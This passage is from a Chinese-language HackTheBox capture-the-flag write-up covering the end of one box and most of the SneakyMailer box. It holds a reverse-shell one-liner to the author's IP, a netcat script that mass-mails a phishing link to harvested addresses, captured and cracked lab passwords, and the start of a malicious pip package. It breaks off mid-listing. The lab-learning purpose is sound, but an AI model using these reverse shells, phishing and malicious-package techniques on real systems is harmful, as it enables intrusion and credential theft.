创建的还真是root的权限&lt;/p&gt;&#10;&lt;p&gt;但是后续我尝试su等等都有问题 看了下代码 貌似不能在当前持久运行 弹个shell看看&lt;/p&gt;&#10;&lt;p&gt;python3 2.py &amp;ndash;scheme https &amp;ndash;port 8089 &amp;ndash;username shaun &amp;ndash;password Guitar123 &amp;ndash;payload &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/1234 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0609.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束了 这个靶场我用了很多时间 获得立足点的地方找错思路了 去看了XXE 最后才发现是SSTI 然后就是web提权到shaun 这个不算难 但是刚开始没有这个思路 导致浪费了很多时间 包括去爆破db里面的那个hash值 最后才去看了adm这个用户组 我觉得基本上没问题 常规流程就是这样 只能说速度太慢了&lt;/p&gt;&#10;&lt;p&gt;然后就是提权到root 这个服务我看了半天 找了很多博客 才找到关于漏洞的利用 漏洞利用的方法反而不难 但是在看那些代码的时候感觉很浪费时间 但是最后还是能运行 这也算常规流程 只是速度太慢了 或者 google搜索的方式也得优化 这个靶场总结下来就是得多打靶场吧 提升思路&lt;/p&gt;&#10;&lt;h2 id="27sneakymailer"&gt;&lt;a href="#27sneakymailer" class="header-anchor"&gt;&lt;/a&gt;27.SneakyMailer&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0610.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0611.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://sneakycorp.htb/index.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个网站得到了一个有用的信息&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0612.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有个叫Bradley Greer的是一个测试人员&lt;/p&gt;&#10;&lt;p&gt;老板的名字是Cara Stevens&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0613.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还告诉我们分配了工作需要我们去邮件里面查看 并且还可以使用pip 这里有一个存疑点 就是我们的用户名称叫什么并不知道 只是用You来代表我们的名称&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0614.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0615.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个里面有团队的所有邮箱和角色名称&lt;/p&gt;&#10;&lt;p&gt;Bradley Greer的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0616.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;老板Cara Stevens的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0617.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;收集完这些信息之后开始挨个看服务 ftp没有匿名登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMTP可以连 但是我们不需要写邮件 但还是挨个看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;8080是个nginx页面 现在开始爆破80以及8080 然后去看 143和993的imap&lt;/p&gt;&#10;&lt;p&gt;经过爆破找到了一个注册页面&lt;a class="link" href="http://sneakycorp.htb/pypi//register.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/pypi//register.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;但是没有任何效果 所以这里一定是朝邮件下手&lt;/p&gt;&#10;&lt;p&gt;先保存所有邮箱 然后验证&lt;/p&gt;&#10;&lt;p&gt;smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;都是存在的 目前只能针对143进行爆破&lt;/p&gt;&#10;&lt;p&gt;用我收集的邮箱和cewl收集的密码进行爆破&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结果就是啥都没有&lt;/p&gt;&#10;&lt;p&gt;一直在找相关的漏洞 可能就是要打exp 但是实际上我弄了半天 都没效果 甚至版本号都没有直接找符合条件的&lt;/p&gt;&#10;&lt;p&gt;这里完全是卡死了 没有任何办法 就去看了wp&lt;/p&gt;&#10;&lt;p&gt;为了确保只有这一条路 我翻了很多wp的关于这一步的测试 无一例外都是朝所有邮箱发链接? 基本上除了发送的方法不一样 思路都是一样的&lt;/p&gt;&#10;&lt;p&gt;smtp是可以发邮箱的 这是很常见的一件事 但是我没想到可以通过发链接来钓鱼 让别人把信息发回来 这是我绝对没想到的&lt;/p&gt;&#10;&lt;p&gt;到这一步有思路了 就直接发链接就行&lt;/p&gt;&#10;&lt;p&gt;构造payload&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;helo smtp&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while read i; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Mail from:test@sneakymailer.htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Rcpt to:$i&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;data&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;subject:test&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;http://10.10.16.19:6789/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; done &amp;lt; user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;quit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} | nc sneakycorp.htb 25&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;运行完就能发了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc收到了回包&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:firstName=Paul&amp;amp;lastName=Byrd&amp;amp;email=paulbyrd@sneakymailer.htb" &gt;firstName=Paul&amp;lastName=Byrd&amp;email=paulbyrd@sneakymailer.htb&lt;/a&gt;&amp;amp;password=^(#J@SkFv2[%KhIxKk(Ju&lt;code&gt;hqcHl&amp;lt;:Ht&amp;amp;rpassword=^(#J@SkFv2[%KhIxKk(Ju&lt;/code&gt;hqcHl&amp;lt;:Ht&lt;/p&gt;&#10;&lt;p&gt;ftp连接不上&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0626.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始尝试143 imap应该能看到收件&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/hi_teotong/article/details/49635781" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/hi_teotong/article/details/49635781&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个博客写的很好&lt;/p&gt;&#10;&lt;p&gt;结果143也不行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看一下993吧&lt;/p&gt;&#10;&lt;p&gt;openssl s_client -crlf -connect sneakycorp.htb:993&lt;/p&gt;&#10;&lt;p&gt;接着执行&lt;/p&gt;&#10;&lt;p&gt;a001 LOGIN &lt;a class="link" href="mailto:paulbyrd@sneakymailer.htb" &gt;paulbyrd@sneakymailer.htb&lt;/a&gt; &amp;ldquo;^(#J@SkFv2[%KhIxKk(Ju`hqcHl&amp;lt;:Ht&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是不行&lt;/p&gt;&#10;&lt;p&gt;尝试用工具看看&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cmdschool.org/archives/5449" target="_blank" rel="noopener"&#10; &gt;https://www.cmdschool.org/archives/5449&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://imap-cli.readthedocs.io/en/latest/installation.html" target="_blank" rel="noopener"&#10; &gt;https://imap-cli.readthedocs.io/en/latest/installation.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;刚安装好有代码错误 改了下代码能用了&lt;/p&gt;&#10;&lt;p&gt;但还是报错&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;登陆失败 但我感觉是因为他没走993端口 走的是143&lt;/p&gt;&#10;&lt;p&gt;始终无法登录 尝试一下ssh吧 ssh也不行&lt;/p&gt;&#10;&lt;p&gt;我能确定的是 既然给了邮箱和密码 大概率就是邮箱 但是目前我的imap-cli是无法使用的 他无法指定端口等等&lt;/p&gt;&#10;&lt;p&gt;后续我找到了 evolution 这个软件&lt;/p&gt;&#10;&lt;p&gt;apt-get install evolution&lt;/p&gt;&#10;&lt;p&gt;安装就行 不要以root权限运行 不然打不开的 非常纯粹的一个软件 网上根本找不到教程 只能自己看 网上只有安装教程&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;993和143都无法登录 一直登陆失败&lt;/p&gt;&#10;&lt;p&gt;没想到最终是以paulbyrd的身份登陆进去的 我之前一直是加的邮箱&lt;/p&gt;&#10;&lt;p&gt;但是又出问题了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结果问题是因为 这个软件evolution在关闭在开启的时候 会重启kali 所有服务全部断掉 然后我又去开了openvpn 导致卡死了 根本连不进内网导致的&lt;/p&gt;&#10;&lt;p&gt;重启之后就好了 只不过后面不要再关闭evolution这个软件了&lt;/p&gt;&#10;&lt;p&gt;我先用imapcli测试了一下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一个账号错误是我故意的&lt;/p&gt;&#10;&lt;p&gt;第二个账号正确报错信息不一样了 代表imapcli软件的问题&lt;/p&gt;&#10;&lt;p&gt;接下来就启动evolution&lt;/p&gt;&#10;&lt;p&gt;进来之后又卡了半天 终于进来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看到两封邮件&lt;/p&gt;&#10;&lt;p&gt;第一封有信息泄露&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Hello administrator, I want to change this password for the developer account&lt;/p&gt;&#10;&lt;p&gt;Username: developer&lt;/p&gt;&#10;&lt;p&gt;Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C&lt;/p&gt;&#10;&lt;p&gt;Please notify me when you do it&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;终于登录到ftp了 这个密码能验证ftp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一件事就是发现这个貌似是网站目录的备份？或者他就是网站目录 因为刚刚的邮件提到我们要去开发pypi这个文件夹里的东西 大概率就是网站目录 直接上传shell就行&lt;/p&gt;&#10;&lt;p&gt;但是传上去之后无法访问的同时 过一段时间还会被删除 我尝试去pypi里面传 但是里面完全不让上传文件&lt;/p&gt;&#10;&lt;p&gt;后续试了一下 貌似所有目录都不能传文件 只有dev目录可以传 而且无法访问 且会被删除&lt;/p&gt;&#10;&lt;p&gt;第一件事我想的可能是存在条件竞争 试一下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上并不行&lt;/p&gt;&#10;&lt;p&gt;又卡住了 实际上我去看ftp里面的源文件 他们完全不可能是 目前站点上的文件 至少能确定的是index.php和站点上的不一样&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这是完全没有的 还有些其他文件也不存在&lt;/p&gt;&#10;&lt;p&gt;我只能把他理解成备份了 但是如果理解成备份 配置文件应该有东西吧 实际上并没有 这几个php文件都是纯html前端代码 没有关于任何后端的东西&lt;/p&gt;&#10;&lt;p&gt;这里没办法 看了下老外的wp提示有一个子域名 到这一步思路就清晰了&lt;/p&gt;&#10;&lt;p&gt;ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;HOST: FUZZ.sneakycorp.htb&amp;rdquo; -fs 185&lt;/p&gt;&#10;&lt;p&gt;ffuf模糊测试刚好可以爆破&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结果是 dev.sneakycorp.htb&lt;/p&gt;&#10;&lt;p&gt;加到hosts里面&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;果然这里跟刚刚看到的index.php是一样的&lt;/p&gt;&#10;&lt;p&gt;其实在目录的地方也提示了 dev目录 在今后必须在拿到域名后ffuf测试一下 然后再继续&lt;/p&gt;&#10;&lt;p&gt;直接put然后访问就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;终于成功拿到了shell&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;在pypi.sneakycorp.htb目录里 有一些文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;其中 .htpasswd 里面有pypi的密码 需要跑hash&lt;/p&gt;&#10;&lt;p&gt;packages 不允许进入 只允许pypi-pkg组的进入&lt;/p&gt;&#10;&lt;p&gt;然后就是venv venv就只是个虚拟环境的配置 里面只有些基础文件 这个不是很重要 我在思考接下来的步骤&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这是group里面的内容 其中pypi-pkg组里面存有pypi用户&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/&lt;/p&gt;&#10;&lt;p&gt;那目标就很明确了 提权到pypi然后去看看packages目录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1" target="_blank" rel="noopener"&#10; &gt;https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;一开始不知道怎么爆破 知道这个博客给了我启发&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;仅仅只需要指定这个文件即可 不需要多余操作 最终爆破了出来&lt;/p&gt;&#10;&lt;p&gt;soufianeelhaoui&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;跟预料当中的一样 pypi设置的nologin 所以我并不能去su&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;存在家目录的两个用户也无法去su 密码错误 ftp也无法登录pypi&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了pypi的网站在8080端口 加了个hosts就能访问了&lt;/p&gt;&#10;&lt;p&gt;它提示了pypiserver的版本为1.3.2 并且在simple那里是可以进行登陆的 只是里面没东西罢了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;也就是说pypi就是上传和维护python包的 但是为什么我使用的时候 完全没有他说的这些选项呢 如果不是框架方面的漏洞 那么如果能上传一些恶意包 然后我们当前也不能加环境变量 当有用户来引用这个包的时候 就会导致RCE&lt;/p&gt;&#10;&lt;p&gt;目前完全没有其他想法了 只能理解为这里要配合其他漏洞&lt;/p&gt;&#10;&lt;p&gt;在搜索时发现low这个家用户里存在venv虚拟环境 加上我们可以pip安装包 这里有了一个想法 就是pspy32先看看是否有定时任务 而且是python的定时任务 如果存在 就安装恶意包 然后就能提权&lt;/p&gt;&#10;&lt;p&gt;最终我构造好了一个包并且成功上传了上去 期间参考了很多博客 关键的博客是下面这两个&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/zjshui/article/details/107973601" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/zjshui/article/details/107973601&lt;/a&gt;&#9;&#9;如何上传私有仓库&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://monsoir.github.io/Notes/Python/upload-pypi.html" target="_blank" rel="noopener"&#10; &gt;https://monsoir.github.io/Notes/Python/upload-pypi.html&lt;/a&gt;&#9;如何构造python包&lt;/p&gt;&#10;&lt;p&gt;这里放一下我的文件吧&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;目录结构就是上面那个 是我抄github上一个项目的 给自己的项目取一个名称就行&lt;/p&gt;&#10;&lt;p&gt;我取的名称为Reverse-Shell-1.1.1&lt;/p&gt;&#10;&lt;p&gt;所以这里就创建一个Reverse-Shell-1.1.1目录就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;创建完里面肯定是啥都没有的 先进这个目录 按照要求 就在Reverse-Shell-1.1.1目录里创建README.md LICENSE.txt这两个空文件&lt;/p&gt;&#10;&lt;p&gt;接着创建jsonizer目录 进入jsonizer目录 创建两个文件__init__.py和jsonize.py &lt;strong&gt;init&lt;/strong&gt;.py为空白就行 jsonize.py也可以为空白 但是我还是随便写了个print&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── 